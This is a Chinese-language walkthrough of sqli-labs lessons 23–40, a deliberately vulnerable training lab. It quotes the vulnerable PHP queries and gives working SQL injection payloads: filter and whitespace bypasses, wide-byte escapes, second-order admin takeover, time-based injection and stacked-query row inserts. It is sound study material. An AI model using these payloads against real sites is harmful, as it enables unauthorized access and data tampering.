sqli-labs(lesson23-lesson40)
lesson23
- 源码sql语句
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
此处在获取id参数时对注释符号#和- -进行了过滤,没办法,只好闭合绕过
?id=-1'union select 1,@@datadir,'5555
此处可以报错注入,延时注入
- 利用extractvalue()进行报错注入
?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1
lesson24
这关是二次排序注入
二次排序注入
二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。(详细解释晚会发)
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
注册时过滤也存在问题,假设题目中存在admin账号,通过注册admin'#使得Sql语句变为
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=' ,
由于#注释掉了后面的语句,这也就相当于我们获得了admin账号
- 注册一个名为admin'密码为123的账号
-
原始数据库
-
注册成功
可以看到,当前admin账号密码为admin,接下来登陆admin'#,修改密码为666,再查看数据库
admin密码被成功修改,利用此方法我们拿到了管理员账号,如果是真实的网站发生这种情况,结局就不用多说了吧
lesson25
这一关是or和and过滤
- or报错注入
?id=1'|| extractvalue(1,concat(0x7e,database()))--+
- and
?id=2&&1=1--+
lesson25-a
?id=2 aandnd 1=1%23
lesson26
需要绕过对空格的过滤
对于空格的构建方法:
- %09 TAB键(水平)
- %0a 新建一行
- %0c 新的一页
- %0d return功能
- %0b TAB键(垂直)
- %a0 空格
源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以构造如下语句
?id=100'union%0Bselect%A01,2,3)||%271
注意:此方法在Windows下不适用(反正我win10不行,用的是kali Linux才行)据说是因为apache的解析的问题
- Windows环境下解决思路:
延迟注入方法
?id=1' %26%26sleep(ascii(mid(database(),1,1))=116)%26%26'1'='1
利用休眠时间判断
-a
屏蔽了26的字符,还给$id加了一对括号
lesson27
- 方法一:
与上一关类似,将union和select变为大小写混合即可
?id=100'unIon%a0SelEcT%a01,database(),3||'1
-a
?id=100"%a0UnIon%a0SElecT%a01,user(),"3
- 方法二:双写大小写union和select
?id=0' UNionUNION%0ASeLectselect%0A1,database(),'1
?id=0' UNionUNION%0ASeLectselect%0A1,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),'1
?id=0'%0AUNionUNION%0ASeLectselect%0A1,(SeLectselect%0Agroup_concat(username,password)%0Afrom%0Ausers),'1
lesson28
与上关没什么区别
?id=100')union%a0select(1),(user()),(3)||('1
-a
?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%27
- 方法二:
?id=0' UNionUNION%0ASeLectselect%0A1,database(),'1
lesson29
单引号注入
?id=-2'union select 1,user(),3--+
lesson30
双引号注入
?id=-2"union select 1,user(),3--+
lesson31
在上题基础上加个)
?id=-2")union select 1,user(),3--+
lesson32
上源码
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
构造?id=1、?id=1'、?id=1"都能正常回显
引号可能是被转义了,宽字节注入试试
?id=1%df%27
有错误回显,从其中可以看到被单引号闭合,注释掉后面的查询语句
?id=1%df%27--+
单引号闭合,宽字节注入可绕过
payload:
?id=-1%df%27union%20select%201,user(),3--+
lesson33
payload和上题一样
?id=-1%df%27union%20select%201,user(),3--+
lesson34
源码
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
原理:
post型的注入漏洞,同样的也是将post过来的内容进行了 ' \ 的处理。而之前我们做的get型注入漏洞是以url形式提交的,数据会通过URLencode。在post型注入中我们可以改变注入文字的文字编码,如 ' 转为utf-16为 �'。
-
用万能密码的方式尝试登陆
-
登陆成功
- 此时sql语句为
SELECT username, password FROM users WHERE username='�' or 1=1#' and password='$passwd' LIMIT 0,1
接下来就不用多说了,之前说过
lesson35
和lesson33差不多,区别就是sql语句id没被'"括起来
payload:
?id=-1%20%20union%20select%201,user(),3--+
lesson36
源码
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
上面的check_quotes()函数是利用了mysql_real_escape_string()函数进行的过滤。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是因mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。
payload:
?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
lesson37
和lesson34一样,区别在于处理post内容用的是mysql_real_escape_string()函数,但是原理是一样的。
lesson38
- 学习了关于stacked injection的相关知识,我们在本关可以得到直接的运用。(具体原理以及知识点见下篇文章)
源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
-
原数据库
直接构造payload:
?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27Wh1te%27,%27hello%27)--+
-
构造后
lesson39
和上题区别在于sql语句不同
SELECT * FROM users WHERE id=$id LIMIT 0,1
数字型注入
-
原数据库
payload:
?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27NYSEC%27,%27niupi%27)--+
-
构造后
lesson40
sql源码
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
payload:
?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27233%27,%27hi%27,%27Wh1te%27)%23